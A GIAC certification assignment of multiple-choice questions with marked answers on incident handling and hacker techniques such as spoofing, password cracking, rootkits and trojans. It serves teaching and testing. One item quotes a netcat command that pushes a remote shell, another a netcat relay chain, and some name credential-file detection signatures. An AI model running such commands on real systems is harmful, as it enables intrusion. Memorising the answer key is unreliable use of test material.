Global Information Assurance Certification Paper

Knut Eckstein - Assignment for Track 4 / San Jose

Day 1: Computer Security Incident Handling

1. Q: Which profession is similar to computer security incident handling?
    1. Epidemics treatment
    2. Emergency room surgery
    3. Criminal forensics
    4. **4.1 Page 4: First Aid**
2. Q: Which is the least excusable error incident handlers make?
    1. **4.1 Page 10: Not to take notes**
    2. Not to inform their manager first
    3. Direct communication with the media
    4. Accusing system owners/administrators early
3. Q: Which communication policy becomes extremely important when dealing (suspectedly) with an insider / internal attacker?
    1. The policy of having a well organized voice and fax call tree
    2. **4.1 Page 14: The need to know policy**
    3. The react policy (Rules of Engagement)
    4. The one page personal policy for team members
4. Q: Which communication medium should never be used during incident handling?
    1. **4.1 Page 15: Unencrypted E-Mail**
    2. Mobile/wireless voice
    3. WWW pages
    4. Internal company mail
5. Q: Which instructions should be given to a user calling and reporting a problem?
    1. Please take your hands off the keybord
    2. Please remove modem and network connection from your computer
    3. Do not touch the computer
    4. **4.1 Page 17: All of the above**
6. Q: Why should new, unused media be used when backing up data during an incident?
    1. **4.1 Page 18 (verbally communicated in class): Because court members (judge and jury) tend to view new tapes as more pristine evidence**
    2. Because new media is less likely to cause write errors
    3. Because unused media is guaranteed to provide enough recording space
    4. All of the above
7. Q: Which is the main point of the incident handling process?
    1. Track down the attacker
    2. Identify the weakness that allowed for the break-in
    3. **4.1 Page 20: Get back in business**
    4. Improve security processes
8. Q: What is the most important aspect of emergency action to be taken on the enterprise or command level?
    1. **4.1 Page 25: Monitor communications**
    2. Characterize attacks
    3. Determine technical/operational impact
    4. Implement rules of engagement
9. Q: What must be kept in mind when tightening perimeter defenses while being under attack?
    1. Network performance will decrease

2. The volume of logging data will increase
3. Many users will complain about restrictions in network connectivity
4. **4.1 Page 27: Some perimeter defenses drop for a second while loading new rulesets**

10. Q: In which respect can warning banners help during incident response?
    1. A warning banner will keep users from using the system for private matters
    2. **4.1 Page 37: A warning banner makes the collection and use of evidence a lot easier**
    3. A warning banner will cause a potential attacker to stop and think twice
    4. A warning banner will keep users from storing sensitive information on a system that would provide additional hints to an attacker
11. Q: What important aspect must be thought of when establishing an extranet connection to a business partner?
    1. **4.1 Page 39: Set up a policy for monitoring**
    2. Agree on common firewall rulesets
    3. Carefully choose network bandwidth to avoid potential denial-of-service attacks
    4. All of the above
12. Q: What helps a lot to win management support?
    1. A graphical illustration of an incident
    2. A collection of news articles on computer break-ins etc.
    3. A collection of historical support
    4. **4.1 Page 41: All of the above**
13. Q: Which group of employees is especially vital to incident handling?
    1. Security staff
    2. Help desk personnel
    3. **4.1 Page 45: System administrators**
    4. Company lawyers
14. Q: Which other contact information should be backed up on paper besides call lists and call trees?
    1. **4.1 Page 48: IP addresses of critical routers and servers**
    2. Administrative passwords of critical routers and servers
    3. MAC addresses of critical routers and servers
    4. All of the above
15. Q: What is a good place to store passwords and encryption keys?
    1. A PGPdisk volume
    2. A NFSv3 network drive that operates on SecureRPC
    3. A sealed envelope stuck to the bottom of your keyboard
    4. **4.1 Page 49: A sealed envelope in a locked container**
16. Q: Why should a small hub go into a jumper bag?
    1. Enable sniffing on an existing ethernet network
    2. avoid "no carrier" error messages after disconnecting a machine from the network
    3. Quickly insert backup system into the existing ethernet network
    4. **4.1 Page 52: All of the above (verbal communication in class, somewhere later in the book it also says "Use the hub, Luke")**
17. Q: Which is the communication security technology that every member of an incident response team should be equipped with?
    1. **4.1 Page 55: PGP**
    2. IPSec
    3. SSL
    4. Encrypted fax machines
18. Q: During an incident, in which of the phases of incident handling should a backup be taken?
    1. Start of identification phase
    2. **4.1 Page 65: Start of containment phase**

3. Start of eradication phase
4. Start of recovery phase

(of course backups should be taken during preparation too, but I'm trying to focus on the "running" incident handling in process here)

19. Q: Which common mistake do incident handlers make when surveying the incident situation on-site?
    1. **4.1 Page 68: They treat time zero as their arrival date and tend to forget that the incident started before they arrived**
    2. They wait too long to establish contact with the command center
    3. They generate an incomplete list of potential witnesses
    4. The do not thoroughly review the information that was provided during the identification phase

    (all four items are mistakes that can happen, but page 68 explicitely stresses the first point)
20. Q: What should be kept in mind when handing over evidence to law enforcement?
    1. Have the agents sign a list of all the pieces of evidence
    2. Include a description of the value of the evidence
    3. Do not delete any files
    4. **4.1 Page 69: All of the above**
21. Q: How do attackers easily know that a rookie incident handler is taking care of "their case"?
    1. **4.1 Page 76: Because the rookie typically tries to connect to the source address of the attack via ICMP, DNS or telnet**
    2. Because the rookie disables all network connectivity
    3. Because the rookie inserts new warning banners to alert regular users to the break-in
    4. Because the rookie calls the ISP of the system that the attack originated from
22. Q: How should incident handlers avoid using potentially modified code?
    1. They should reinstall the operating system before analyzing the computer more closely
    2. They should run tripwire and compare the output to previous results stored on the system's harddrive
    3. **4.1 Page 77: They should have CD-ROMs at hand that contain pristine binaries plus shared libraries or better yet, statically linked binaries, for their primary OSs**
    4. They should remove all loadable kernel modules
23. Q: Which issue should be avoided during incident handling when consulting with system owners?
    1. Cost of downtime
    2. **4.1 Page 79: Fault**
    3. Backup strategies
    4. All of the above
24. Q: When establishing quarantine boundaries at the end of the containment phase, which OS security mechanism should an incident handler be most concerned with?
    1. **4.1 Page 80: Passwords**
    2. Windows NT domains
    3. NIS+ domains
    4. Kerberos domains
25. Q: Under time pressure an incident handler may opt for the "contain and clean" policy and decide to nuke the systems completely during eradication. Which is the most prominent risk associated with this strategy?
    1. Important evidence could be destroyed
    2. **4.1 Page 82: The attacker may return via the same avenue of attack**
    3. User data could be destroyed
    4. The reinstalled operating system may offer a large number of additional vulnerabilities
26. Q: Which forensic opportunity arises when moving a system that has been attacked to a new IP address?
    1. **4.1 Page 83: Setting up a honeypot**

2. Loadsharing between two identical servers to allow for more precise monitoring of attacks due to lower network congestion
3. Differential analysis of attack payloads by TCP source port
4. All of the above

27. Q: Why is it especially difficult with MS Windows systems to ensure that no compromised code is being restored during recovery?
    Because compromised code can easily reenter during the multiple reboots that take place during reinstallation of the OS
    1. Because common integrity scanners cannot check low level system utilities
    2. Because the restored system registry could contain malicious code
    3. **4.1 Page 88: Because "normal", non executable, user data files like Office documents may contain macro viruses**
28. Q: How can an incident handler most elegantly reassign responsibility for a recovered system back to its owner?
    1. **4.1 Page 89: Ask the owner for system test plans**
    2. Have the owner sign a statement
    3. Stick a note to the system and leave
    4. Have the owner choose the administrator's password
29. Q: What must be done once a system is back in operation?
    1. Turn on system logging to a very high degree
    2. Compare changes against a tripwire reference database
    3. Install an Intrusion Detection System
    4. **4.1 Page 91: All of the above**
30. Q: What is the most important part of a follow-up report?
    1. **4.1 Page 94: A management summary that details symptoms, cause and cure in a clear language**
    2. A detailed description of how the attacker broke in
    3. A detailed description of the main incident handling steps
    4. A comprehensive lessons learned section
31. Q: Which topic should a follow-up meeting focus on?
    1. Review of the follow-up report
    2. Find the person who is truly responsible for the incident
    3. **4.1 Page 95: Process improvement**
    4. None of the above
32. Q: Why is the number of network scans probing for unusual, high numbered ports rising lately?
    1. Because a new portscanner is propagating through the hacker community that scans high numbered ports first
    2. **4.1 Page 111: Because current trojans listen on such ports for the attacker to send commands**
    3. Because more and more intermediate routers can detect and block scans for the lower numbered well known ports
    4. All of the above
33. Q: How may the use of rootkits be detected via IDSs?
    1. **4.1 Page 113: By looking for archive name signatures like "rk.tar"**
    2. By looking for highly fragmented IP packets
    3. By looking for a high volume of unusual ICMP packets
    4. By looking for transfer of system commands containing arguments like /etc/passwd or /etc/shadow
34. Q: Why should a company monitor outgoing traffic?
    1. To detect malicious code sending out sensitive information

2. To detect a virus reporting successful infection to an attacker
3. To detect a reverse shell being "pushed out"
4. **4.1 Page 114: All of the above**

Day 2: Computer and Network Hacker Exploits: Step-by-Step: Part I

1. Q: What is an exploit?
    1. A security hole or an instance of taking advantage of a security hole
    2. ANYTHING that can be used to compromise a machine
    3. Stealing computer components
    4. **4.2 Page 8: All of the above**
2. Q: Which of the main areas of security is associated with "security" by most people?
    1. **4.2 Page 10: Confidentiality**
    2. Integrity
    3. Availability
    4. Authenticity
3. Q: What key element characterizes the way an attacker behaves?
    1. An attacker will try to allocate more network bandwith resource than the victim
    2. An attacker will be very concerned with covering his tracks
    3. **4.2 Page 13: An attacker will always take the path of least resistance**
    4. An attacker will always try to attack via the Internet first
4. Q: What is the structural basis of most coordinated attacks?
    1. Coordinated communication between hackers via Internet Relay Chat (IRC)
    2. **4.2 Page 14: The widespread nature of the internet**
    3. Sharing of attack software stored on rouge ftp servers
    4. The ability to remote control today's attack software
5. Q: For which non-technical reason are trojan horses hard to defend against?
    1. Everyone loves a good game
    2. Trojan horses propagate easily via e-mail
    3. Most people cannot resist opening an email attachment
    4. **4.2 Page 26: All of the above**
6. Q: How is information transported across an inference channel?
    1. The information can be inferred by the analysis of system log events
    2. **4.2 Page 27: The information can be inferred by the analysis surrounding events**
    3. The information can be inferred by the analysis of network collision events
    4. The information can be inferred by correlation of events on neighbouring systems
7. Q: Which of the following computer system properties can be utilized for the construction of covert channels
    1. Timing of system events
    2. Storage capacity utilized
    3. Network bandwidth utilized
    4. **4.2 Page 28: All of the above**
8. Q: How can implied trust between networked machines be exploited?
    1. **4.2 Page 30: IP spoofing**
    2. TCP session hijacking
    3. WWW application cracking
    4. ICMP redirect messages
9. Q: How does "blind TCP spoofing" compare to IP spoofing?

1. The attacker does not only fake the IP source address but also the TCP source port
2. The attacker does not only fake the IP packet ID but also guesses the initial TCP sequence number chosen by the server
3. **4.2 Page 30 (partly communicated verbally in course): The attacker does not only fake the source IP address but also guesses the initial TCP sequence number chosen by the server**
4. The attacker does not only fake the source IP address faked but also uses IP source routing

10. Q: Which two main areas of computer security does session hijacking in general involve?
    1. **4.2 Page 31: Loss of integrity and loss of availability**
    2. Loss of integrity and loss of confidentiality
    3. Loss of availability and loss of confidentiality
    4. Loss of integrity and authenticity

    (the correct answer is based on the more general case where gratuitous ARP messages are not used and the machine being spoofed is subjected to a DoS attack instead)
11. Q: What is important to remember when searching for the course of a denial-of-service attack?
    1. **4.2 Page 32: DoS attacks may be caused accidentally through misconfiguration**
    2. DoS attacks require a deep technical knowledge
    3. DoS attacks require a large network bandwith between attacker and victim
    4. All of the above
12. Q: What is the root cause of buffer overflow vulnerabilities?
    1. **4.2 Page 33: Poor programming and lack of error checking**
    2. Bad operating system design
    3. Bad sizing of I/O buffer spaces
    4. All of the above
13. Q: What does "Password Cracking" mean?
    1. Get the encrypted password list and decrypt it using the OS specific key, e.g. SYSKEY on Windows NT
    2. Repeatedly attempt to log on a system and trying the most common passwords
    3. Get the encrypted password list an find out the cleartext password by attempting decryption with every possible key (brute force)
    4. **4.2 Page 34/40 Get the encrypted password list and find out the cleartext password by comparing with encrypted password guesses**
14. Q: Why does asymmetric encryption require two keys?
    1. **4.2 Page 39: Because one asymmetric key can only perform one direction of operation, either encryption or decryption**
    2. Because one public key is shared between all users and each user additionally requires a private key
    3. Because one key is used for hashing while the other serves for encryption and decryption.
    4. Because one key is kept by the user and the other is stored in a central deposit for key recovery purposes
15. Q: Which encryption technique is most commonly used when storing passwords?
    1. Asymmetric encryption
    2. **4.2 Page 39: Hashing**
    3. Symmetric encryption
    4. Salting
16. Q: Which is the fastest password cracking attack?
    1. **4.2 Page 42: Dictionary attack**
    2. Hybrid attack
    3. Brute force
    4. Precomputed lists
17. Q: When is a hybrid attack useful?

1. It is useful when password are encrypted both symmetrically and asymmetrically
2. It is useful when random values have been added to encrypted password strings
3. **4.2 Page 42: It is useful when users choose systematically modified regular words to satisfy password policies and filters**
4. It is useful when users randomly insert single special characters like digits into regular words to satisfy password policies and filters

18. Q: Which additional security precaution does Windows NT not take when it comes to password storage?
    1. Hashing
    2. **4.2 Page 44: Salting**
    3. Symmetric encryption
    4. Asymmetric encryption
19. Q: Which additional feature offered by l0phtcrack is not an integral part of a traditional password cracker?
    1. Breaking of SYSKEY protection
    2. Hybrid attack
    3. Precomputed lists
    4. **4.2 Page 45: Sniffing passwords off the network**
20. Q: How long does a brute force attack on a standard NT or Unix password take nowadays?
    1. Several weeks
    2. Several hours
    3. **4.2 Page 42: Several days**
    4. Several months
21. Q: Which restriction must be considered when disabling the weak LAN manager authentication scheme on Windows NT servers?
    1. WfWg 3.11 clients can no longer connect to the server
    2. **4.2 Page 61 (verbal communication in course): Windows 95 and WfWg 3.11 clients can no longer connect to that server**
    3. Windows 95, 98 and WfWg 3.11 clients can no longer connect to the server
    4. Windows NT 3.5, Windows 95, 98 and WfWg 3.11 clients can no longer connect to the server
22. Q: What does the Windows NT SYSKey security enhancement do?
    1. SYSKey enables 1024bit asymmetric encryption of the password hashes stored in the SAM
    2. **4.2 Page 66: SYSKey enables 128bit symmetric encryption of the password hashes stored in the SAM**
    3. SYSKey protects password hashes transferred between client and server by means of 128bit symmetric encryption
    4. SYSKey protects password hashes transferred between client and server by means of 1024bit asymmetric encryption
23. Q: Which restriction must be considered when installing SYSKey?
    1. SYSKey must be installed on all domain controllers and workstations
    2. All systems will share the same password encryption key
    3. **4.2 Page 66: There is no uninstall option for SYSKey**
    4. When uninstalling SYSKey it must be removed from BDCs first and then from PDCs to avoid inconsistencies in the registry
24. Q: Why are passwords so important?
    1. Because they are the first line of defense against interactive attacks
    2. Because in most companies they are the only line of defense for protecting access
    3. Because they are often reused and thus offer additional access
    4. **4.2 Page 38/69: All of the above**
25. Q: What are shadow passwords?

1. **4.2 Page 85: Encrypted password strings are stored in a separate file that is only readable by the sysadmin**
2. Encrypted password strings are stored in a separate file for each user, which is only readable by this user
3. The passwords are additionally encrypted using a different encryption algorithm and are stored in a separate file
4. Encrypted password strings are stored in a separate (shadow) filesystem

26. Q: Imagine a company that runs its Windows NT domain controllers in a locked and secured location. Can a regular user obtain domain administrator privileges by running getadmin.exe or sechole.exe?
    1. **4.2 Page 93/95: No, because he cannot logon locally to the domain controller**
    2. Yes, because he can logon remotely to domain controller
    3. No, because these exploits cannot obtain domain administrator privileges by design
    4. Yes, because he can obtain local administrator privileges on his personal workstation first and then rerun the exploit against the domain controller
27. Q: Under which circumstances will getadmin.exe continue to succeed even though the hotfix/servicepack has been dutifully applied?
    1. As long as share mounting privileges have been granted to the "Everyone" group
    2. **4.2 Page 94: As long as the "Debug Programs" privilege has been granted to the user running getadmin.exe**
    3. As long as the "Administer local groups" privilege has been granted to the user running getadmin.exe
    4. As long as the privilege to install printer drivers and other system software has been granted to the "Everyone" group
28. Q: How can sechole.exe be invoked via a WWW page?
    1. **4.2 Page 111: By uploading the program via ftp and using the HTML #exec directive**
    2. By uploading the program via http and using the JavaScript execute() directive
    3. By uploading the program via snmp and using the HTML #run directive
    4. By all of the above means
29. Q: Which weakness does the CPUHog exploit take advantage of?
    1. It takes advantage of an error in the task switching mechanisms of the Windows NT scheduler
    2. It takes advantage of an error in Ring 0 queue management of the Windows NT kernel
    3. It takes advantage of an error in the polling mechanism that NT uses to access the system timer
    4. **4.2 Page 113: It takes advantage of an error in the priority management of the Windows NT scheduler**
30. Q: Which TCP port is being attacked by WinNuke?
    1. 80
    2. 135
    3. 137
    4. **4.2 Page 123: 139**
31. Q: How does WinNuke send "unexpected" data to the victim?
    1. By using the TCP FIN flag
    2. By rapidly incrementing the TCP sequence number
    3. By sending small, overlapping IP fragments
    4. **4.2 Page 125: By using the TCP URGENT flag**
32. Q: Which TCP and UDP ports are used by RedButton?
    1. **4.2 Page 136: 137, 138 and 139**
    2. 137 and 138
    3. 135 and 139
    4. 135, 137 and 138
33. Q: Which information does an attacker obtain using RedButton?

1. The name of the local administrator account
2. A list of all shares offered by the target
3. **4.2 Page 143: Both of the above**
4. None of the above

34. Q: Which vulnerability does RedButton exploit?
    1. A sequence number management vulnerability inside the RPC locator mechanism
    2. **4.2 Page 136: The privileges set by default for the group "Everyone"**
    3. A priority management conflict between received UDP and TCP packets
    4. A flag handling error inside TCP
35. Q: What kind of attack is the "RPC locator"?
    1. An information gathering attack
    2. **4.2 Page 146: A denial of service attack**
    3. An integrity attack modifying the system configuration
    4. An integrity attack hijacking a RPC session
36. Q: Which program can be used to perform the RPC locator attack?
    1. **4.2 Page 153: telnet**
    2. hunt
    3. rpcinfo
    4. ipconfig
37. Q: Which typical side effect of a CGI program is used with the aglimpse attack?
    1. The program modifies HTML pages stored on the WWW server
    2. **4.2 Page 177: The program interfaces to the operating system for the execution of commands**
    3. The program consumes large amounts of memory when many instances are started simultaneously
    4. The program interfaces to the WWW server process for obtaining server status information
38. Q: How is malicious input from an attacker being transferred to the CGI program?
    1. WWW server process and the CGI program communicate via IPC (InterProcess Communication)
    2. The WWW server aquires a special memory segment that is shared with the process running the CGI program (shared memory)
    3. **4.2 Page 178: The WWW server starts the CGI program and communicates with it via "standard input/output"**
    4. The WWW server writes to a temporary file that is being read by the CGI program upon startup
39. Q: Why do CGI authors omit input checking?
    1. **4.2 Page 180/190: Because they assume that the CGI program will only be called from a HTML page they designed which typically tries to limit possible inputs**
    2. Because they assume that the generic input sanitizing mechanisms of the WWW server will operate correctly
    3. Because they assume that the input checking of the CGI interpreter (Perl, sh, python, etc.) will be sufficient
    4. All of the above
40. Q: Which protocol on top of TCP and IP is employed by the ToolTalk exploit?
    1. Internet Relay Chat (IRC)
    2. AppleTalk Name Binding Protocol (AT-NBP)
    3. **4.2 Page 197: Remote Procedure Calls (RPC)**
    4. New Talk Protocol (ntalk)
41. Q: How do buffer overflow exploits transfer execution to the malicious code they provided?
    1. **4.2 Page 201: The attacker overwrites the return pointer of the current subroutine which is stored on the stack**

2. The attacker overwrites the CPU's program count register (PC) that points to the next instruction to be executed
3. The attacker evaluates the return pointer and overwrites the calling routine in memory
4. The attacker overwrites the memory location of the return value of the current subroutine and causes a buffer overflow when the calling routine examines that value

42. Q: What is a common network signature of a buffer overflow attack?
    1. Command arguments like "../../../etc/xxx"
    2. File names like "rk.tar" or "bo.tar"
    3. **4.2 Page 205: Large numbers of NOP instructions**
    4. TCP SYN segments with destination port numbers of vulnerable services
43. Q: What is a common network signature of a CGI based attack?
    1. TCP SYN segments with destination port numbers of vulnerable services
    2. Command arguments like "../../../etc/xxx"
    3. Large numbers of NOP instructions
    4. **4.2 Page 222/230: Path and program name of the attacked CGI program**

Day 3: Computer and Network Hacker Exploits: Step-by-Step: Part II

1. Q: In which sense has the biodiversity of our computing environments decreased?
    1. **4.3 Page 12: OS Platform and network protocol choices have narrowed significantly during the last decade**
    2. CPU and I/O device choices have narrowed significantly during the last decade
    3. Application software choices have narrowed significantly during the last decade
    4. All of the above
2. Q: Why does looking for sites that contain hyperlinks to the target site make sense during reconnaissance?
    1. Hyperlinks can indicate advertising relationships and thus potential trust relationships that may be exploited
    2. **4.3 Page 15: Hyperlinks can indicate business relationships and thus potential trust relationships that may be exploited**
    3. Hyperlinks can indicate network traffic streams and thus available network bandwidth that may be handy in denial of service attacks
    4. Hyperlinks can indicate that the current site and the linked site are both hosted by the same ISP whose backbone network may be penetrated
3. Q: How many phone lines can be scanned by a current war dialer with a single modem per hour?
    1. 10 - 15
    2. 50 - 60
    3. **4.3 Page 20: 100 - 125**
    4. 175 - 200
4. Q: What is the concept behind the jamming detection feature of a war dialer?
    1. **4.3 Page 21: If the number of busy signals detected reaches a certain threshold, the war dialer suspects a telco having detected the scans and feeding back artificial busy signals**
    2. If the dialing speed of the modem falls below a certain threshold, the war dialer suspects a telco having detected the scans and reducing the throuput at the local telephone switch
    3. If the number of "This number is not available" messages reaches a certain threshold, the war dialer suspects a telco having detected the scans and feeding back artificial messages
    4. All of the above
5. Q: Which is the best way to find out about individual non-PBX phone lines at your company?

1. Perform war dialing against your own company
2. Perform desk-to-desk checks of modems and the lines they are connected to
3. Ask your telco for a copy of all bills mailed to your company's address
4. **4.3 Page 23: Ask your telco for a copy of all bills for lines at your company's address**

6. Q: Which FTP design feature is employed in the FTP bounce scan?
    1. **4.3 Page 27: A FTP server may allow a user to open a connection to any system at any port**
    2. A FTP client may allow a user to open a connection to any system at any port
    3. A FTP proxy gateway may allow a user to open a connection to any system at any port
    4. FTP operates using a TCP command and data session. A user may at any time change the destination port of the command session
7. Q: Why does nmap offer a TCP sequence number prediction feature?
    1. **4.3 Page 27/28: To prepare for OS fingerprinting and for spoofing attacks**
    2. To prepare for spoofing attacks and denial of service attacks
    3. To prepare for OS fingerprinting and to scan for RPC based vulnerabilities
    4. To prepare for source routing attacks and spoofing attacks
8. Q: How does nmap's TCP based OS fingerprinting work?
    1. Different operating systems show different timing behaviour when responding to TCP connection attempts
    2. Different operating systems choose different IP fragmentation sizes
    3. **Different operating systems respond differently to illegal combinations of TCP flags**
    4. All of the above
9. Q: Which type of network perimeters *cannot* be analyzed by firewalk?
    1. **4.3 Page 33: Application level gateways**
    2. Packet filters
    3. Routers performing network address translation (NAT)
    4. *None* of the above, i.e. all can be analyzed
10. Q: Which type of message tells firewalk that a packet has passed the filter/firewall?
    1. ICMP parameter problem
    2. ICMP missing fragment
    3. ICMP port unreachable
    4. **4.3 Page 35: ICMP time exceeded**
11. Q: Which was the first vulnerability scanner?
    1. SAINT
    2. **4.3 Page 38: SATAN**
    3. ISS
    4. Nessus
12. Q: What does a real attacker do that a vulnerability scanner cannot do?
    1. Experiment with new potential vulnerabilites
    2. Reverse engineer the target network
    3. Combine multiple vulnerabilities
    4. **4.3 Page 38(the third item was communicated verbally in class): All of the above**
13. Q: In what respect does the nessus software architecture differ from commercial scanners like ISS or CyberCop?
    1. Nessus offers an interpreted attack command language (ACL)
    2. **4.3 Page 40: Nessus is based on a client/server architecture**
    3. Nessus offers individually selectable attack modules
    4. Nessus uses encryption for inter-module communication
14. Q: Which protection against malicious plugins does nessus offer?
    1. RSA signatures

2. PGP signatures
3. **4.3 Page 42: MD5 hashes**
4. CRC checksums

15. Q: Which are the two primary defenses against vulnerability scanners?
    1. **4.3 Page 44: Close all unused ports and apply all system patches**
    2. Apply all system patches and randomize TCP initial sequence number generation
    3. Close all unused ports and use encryption software like ssh, PGP, SSL for sensitive network services
    4. Apply all system patches and install an intrusion detection system (IDS)
16. Q: How is IP spoofing done in the first, simplest flavour?
    1. The attacker predicts initial TCP sequence numbers
    2. The attacker predicts IP packet IDs
    3. The attacker employs IP source routing
    4. **4.3 Page 48: The attacker changes the IP source address**
17. Q: To which type of attacks is this simple technique limited?
    1. Session Hijacking
    2. **4.3 Page 48: Denial of service attacks**
    3. Exploit trust relationships
    4. Network mapping
18. Q: What is it, that the second, more elaborate flavour of IP spoofing does *on top* of the simple technique?
    1. **4.3 Page 52: Prediction of initial TCP sequence numbers**
    2. Prediction of IP packet IDs
    3. IP source routing
    4. IP source address change

    Remark:
    IMHO the book is wrong in naming the second flavour of IP spoofing "Exploit Trust". Exploiting trust is what is usually achieved with this technique but in general the technique can be used to complete a TCP handshake to any service/port without being able to see the response packets. Both the second and the third technique can be used to exploit trust relations, so I would name the second technique "TCP sequence number prediction". See also: http://www.codetalker.com/advisories/sni/sni-06.html

19. What is the main advantage of the second flavour of IP spoofing compared with the first?
    1. IP fragments are reassembled completely
    2. **4.3 Page 52: TCP 3 way handshake is completed**
    3. Server responses can be monitored
    4. ACK storms during denial of service attacks are avoided
20. What is it that the third flavour of IP spoofing does on top of the simple technique?
    1. Prediction of initial TCP sequence numbers
    2. Prediction of IP packet IDs
    3. **4.3 Page 55: IP source routing**
    4. IP source address change
21. In what respect is the third flavour superior to the second flavour?
    1. IP fragments are reassembled completely
    2. TCP 3 way handshake is completed
    3. **4.3 Page 55: Server responses can be monitored**
    4. ACK storms during denial of service attacks are avoided
22. Why can the tiny fragment attack be successful?
    1. Because the attacker is able to successfully guess the IP packet ID and change the existing fragmentation

2. **4.3 Page 61: Because the network perimeter does not maintain a context between consecutive IP fragments**
3. Because the network perimeter uses all his resources during reassembly of fragments
4. All of the above

23. What are IP fragment attacks useful for?
    1. **4.3 Page 60: Bypass some packet filters and bypass some intrusion detection systems**
    2. Bypass some application level gateways and bypass some intrusion detection systems
    3. Avoid logging on the target system
    4. Reduce the network traffic volume an attack generates, i.e. "staying below the radar"
24. Which data field of the TCP header is typically being overwritten in an overlapping fragment attack?
    1. The TCP source port number
    2. **4.3 Page 62: The TCP destination port number**
    3. The initial TCP sequence number
    4. The TCP fragment offset
25. In which attack scenario are sniffers especially useful?
    1. Denial of service attack
    2. IP spoofing attack
    3. TCP session hijacking attack
    4. **4.3 Page 67: Island hopping attack**
26. How does AntiSniff detect a system with an interface in promiscous mode?
    1. The system tends to react slower in a network heavily loaded with broadcast traffic
    2. The system tends to react slower in a network heavily loaded with traffic destined for it
    3. **4.3 Page 69: The system tends to react slower in a network heavily loaded with traffic not destined for it**
    4. The system tends to react slower in a network heavily loaded with multicast traffic
27. Which "strong" security mechanism can be circumvented by session hijacking?
    1. Encryption based on hardware tokens
    2. **4.3 Page 73: Authentication based on hardware tokens**
    3. Digital signing of network packets based on hardware tokens
    4. Hybrid encryption schemes
28. How does hunt prevent ACK storms?
    1. **4.3 Page 76: It sends gratitious ARP messages to both connection endpoints**
    2. It sends gratitious ARP messages to the system it wants to spoof
    3. It subjects the system it wants to spoof to a denial of service attack
    4. It sends spoofed TCP ACK segments to both connection endpoints
29. Which is the primary defense against session hijacking?
    1. Authentication based on hardware tokens
    2. **4.3 Page 79: Encryption of sessions**
    3. Applying all system patches
    4. Monitoring logfiles closely
30. Why are older versions of BIND easily susceptible to DNS cache poisoning?
    1. Because they permit DNS zone transfers without authorization
    2. **4.3 Page 85: Because they cache "gratitious" DNS responses**
    3. Because they accept DNS responses from rouge DNS servers
    4. All of the above
31. What does split-split DNS mean?
    1. **4.3 Page 88: The use of two separate external DNS Servers**
    2. The use of three separate external DNS Servers
    3. The use of an external DNS server with three network cards
    4. The use of two DNS server processes on the firewall

32. Why is netcat useful for spoofing attacks?
    1. Because it supports explicit setting of TCP sequence numbers
    2. **4.3 Page 92: Because it supports IP source routing**
    3. Because it supports explicit setting of IP packet IDs
    4. Because it supports explicit setting of TCP source ports
33. What does the following command do when executed on a client: nc server 1234 -e /bin/sh ?
    1. It opens a shell and connects the the server on port 1234
    2. It pushes a shell session from a client to a server using the source port 1234
    3. It tells the server to execute a shell and connect back to port 1234 on the client
    4. **4.3 Page 98: It pushes a shell session from a client to a server listening on port 1234**
34. How many nc relay commands (nc -l -p xxx | nc server yyy) are needed for bouncing an attack across two relay hosts?
    1. Two
    2. **4.3 Page 99: Four**
    3. Six
    4. Eight
35. Which part of the client/server architecture of TFN performs the actual attacks?
    1. The client
    2. **4.3 Page 107: The server**
    3. The attackers machine
    4. The intermediate systems
36. Which IP protocol type does a TFN client use to communicate with the server?
    1. ICMP source quench
    2. ICMP parameter problem
    3. **4.3 Page 108: ICMP echo reply**
    4. ICMP echo request
37. Why is it especially hard to track down an attacker that uses TFN?
    1. Because TFN can send decoy packets
    2. Because the client can spoof his IP address
    3. Because the server can spoof his IP address
    4. **4.3 Page 111: All of the above**
38. Which security measures should an WWW application developer, who wants to maintain state information in HTTP sessions, take ?
    1. Choose session IDs that are at least 10 charaters long
    2. Include timestamps in the generation of the session ID
    3. Use a hash function in the generation of the session ID
    4. **4.3 Page 123: All of the above**
39. Why should a timestamp be included in the construction of the session ID?
    1. To avoid the guessing of session IDs
    2. **4.3 Page 123: To avoid replay attacks**
    3. To avoid manipulation of transaction time records
    4. To allow the server to close older sessions during denial of service attacks
40. How can an attacker employing Back Orifice find out your PGP passphrase?
    1. **4.3 Page 131: By using the keystroke logging feature of BO**
    2. By using the screen capture feature of BO
    3. By using the network packet redirection feature of BO
    4. By using the camera capture feature of BO
41. Why does the ICMP tunneling of Back Orifice 2000 offer "stealth capabilities"?
    1. Because the BO2K server does not appear in the list of ICMP listener processes
    2. **4.3 Page 135: Because the BO2K server does not appear in the list of open TCP and UDP**

ports

3. Because the BO2K server does not appear in the process list
4. All of the above

42. What does NFR Back Officer Friendly provide?
    1. A trojanized implementation of the Back Orifice server
    2. An IDS that is specialized on detecting Back Orifice network traffic
    3. **4.3 Page 137: A fake Back Orifice server**
    4. A Back Orifice server adapted to the special requirements of the police
43. Which is the most important program a Unix rootkit usually provides?
    1. /bin/sh
    2. **4.3 Page 144: /bin/login**
    3. /bin/passwd
    4. /bin/ps
44. How can a rootkit prevent the detection of a network sniffer?
    1. By providing a trojanized version of the ps command
    2. By providing a trojanized version of the netstat command
    3. By providing a trojanized version if the ipconfig command
    4. **4.3 Page 145: By providing a trojanized version of ifconfig command**
45. Which is the most powerful defensive tool against rootkits?
    1. Regularly performed backups
    2. **4.3 Page 149: Regularly performed tripwire runs**
    3. Encryption of network traffic
    4. Regularly performed process table inspection
46. How does knark fool conventional rootkit detection methods?
    1. Redirection of the reading system call to a binary file
    2. Filtering of the directory listing system call
    3. **4.3 Page 154: Redirection of the execution system call of a binary file**
    4. All of the above
47. Are kernel module rootkits a Linux specific threat?
    1. Yes
    2. **4.3 Page 158: No, Solaris loadable kernel modules are also being discussed**
    3. No, Windows NT loadable kernel modules are also being discussed
    4. No, FreeBSD loadable kernel modules are also being discussed
48. What does remove.c do?
    1. **4.3 Page 168: It removes log entries from utmp, wtmp and lastlog**
    2. It hides entries from /etc/passwd
    3. It removes entries from /var/log/messages
    4. It removes the PROMISC flag from a network interface in promiscous mode
49. How does a HTTP reverse shell avoid getting "stuck" in a WWW proxy cache?
    1. By using the HTTP GET command
    2. By using the HTTP HEAD command
    3. **4.3 Page 173: By using the HTTP POST command**
    4. By using the "No-cache:" header
50. Which are the two IP packet types that Loki employs for tunneling?
    1. TCP and UDP port 53
    2. **4.3 Page 175: ICMP and UDP port 53**
    3. ICMP and TCP port 53
    4. UDP port 53 and TCP port 80

Last Updated: May 29th, 2017

Upcoming Training

SANS Atlanta 2017	Atlanta, GA	May 30, 2017 - Jun 04, 2017	Live Event
SANS Houston 2017	Houston, TX	Jun 05, 2017 - Jun 10, 2017	Live Event
